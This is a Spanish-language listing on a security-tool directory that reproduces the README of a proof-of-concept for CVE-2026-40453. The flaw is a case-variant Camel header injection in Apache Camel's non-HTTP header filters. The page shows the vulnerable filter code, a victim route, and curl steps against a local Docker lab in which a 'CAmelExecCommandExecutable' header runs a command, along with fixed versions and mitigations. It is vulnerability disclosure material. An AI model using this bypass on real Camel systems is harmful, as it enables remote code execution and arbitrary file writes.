Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40453 — Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636) | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-40453
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de Inyección de Encabezados Camel con Variantes de Mayúsculas (CVE-2026-40453)

Este proyecto demuestra CVE-2026-40453 — una corrección incompleta para CVE-2025-27636. La corrección de 2025 agregó setLowerCase(true) a HttpHeaderFilterStrategy para que los nombres de encabezado con variantes de mayúsculas (por ejemplo, CAmelExecCommandExecutable) se filtren junto con el canónico CamelExecCommandExecutable. La misma llamada no se aplicó a cinco implementaciones de HeaderFilterStrategy que no son HTTP (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), las cuales filtran con distinción de mayúsculas mientras que el mapa de Encabezados de Camel Exchange almacena encabezados sin distinción de mayúsculas. Un atacante puede por lo tanto inyectar un encabezado de control Camel* con variantes de mayúsculas que elude el filtro pero aún es resuelto por componentes posteriores (camel-exec, camel-file, ...) bajo su nombre canónico → ejecución remota de código / escritura arbitraria de archivos.

Este reproductor demuestra la elusión con camel-coap (autónomo, sin intermediario externo); la misma falla afecta a las estrategias JMS/SJMS/Google-Pubsub.

Aviso: https://camel.apache.org/security/CVE-2026-40453.html

Resumen de la Vulnerabilidad

Detalles Técnicos

CoAPHeaderFilterStrategy (versión afectada) filtra Camel* con distinción de mayúsculas:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

Cuando llega una solicitud CoAP, CamelCoapResource.handleRequest() asigna cada parámetro de consulta URI a los encabezados de Exchange In, controlado por strategy.applyFilterToExternalHeaders(name, value, exchange):

  • CamelExecCommandExecutable — startsWith("Camel") es verdadero → filtrado.
  • CAmelExecCommandExecutable — startsWith("Camel") es falso (CAm ≠ Cam) → no filtrado.

El mapa de encabezados de Exchange no distingue entre mayúsculas y minúsculas, por lo que el encabezado con variante de mayúsculas es resuelto posteriormente por el productor exec bajo su nombre canónico CamelExecCommandExecutable, sobrescribiendo el comando.

La ruta víctima

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

Requisitos Previos

  • Java 17+ y Maven 3.8+
  • Docker

Pasos de Reproducción

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) Benigno

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) Encabezado canónico — FILTRADO (sin RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) Encabezado con variante de mayúsculas — ELUSIÓN (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

Limpieza

root@kitploit:~
docker compose down

Corrección Recomendada

Actualice a 4.14.6 / 4.18.2 / 4.20.0. La corrección (CAMEL-23313) agrega setLowerCase(true) a las cinco implementaciones de HeaderFilterStrategy que no son HTTP para que los nombres con variantes de mayúsculas Camel* también se filtren.

Mitigación

Hasta actualizar:

  1. Eliminar encabezados Camel sin distinción de mayúsculas aguas abajo de productores no confiables — un HeaderFilterStrategy personalizado con setLowerCase(true), o removeHeaders con un patrón sin distinción de mayúsculas.
  2. Evite reenviar mensajes JMS / CoAP / Pub-Sub no confiables a productores controlados por encabezados.

Archivos

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

Aviso de Exención de Responsabilidad

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo utilice contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentescamel-jms, camel-sjms, camel-coap, camel-google-pubsub (este PoC usa camel-coap)
Clases AfectadasJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
Causa raízFiltrado con distinción de mayúsculas startsWith("Camel"/"camel") (falta setLowerCase(true)) vs un mapa de encabezados de Exchange sin distinción de mayúsculas
CWECWE-20 (Validación de Entrada Incorrecta) — inyección de encabezados de mensaje
ImpactoRCE / escritura arbitraria de archivos a través de productores controlados por encabezados
Versiones AfectadasDesde 3.0.0 hasta antes de 4.14.6, desde 4.15.0 hasta antes de 4.18.2, desde 4.19.0 hasta antes de 4.20.0
Versiones Corregidas4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (completa la corrección para CVE-2025-27636)
ReporteroSaroj Khadka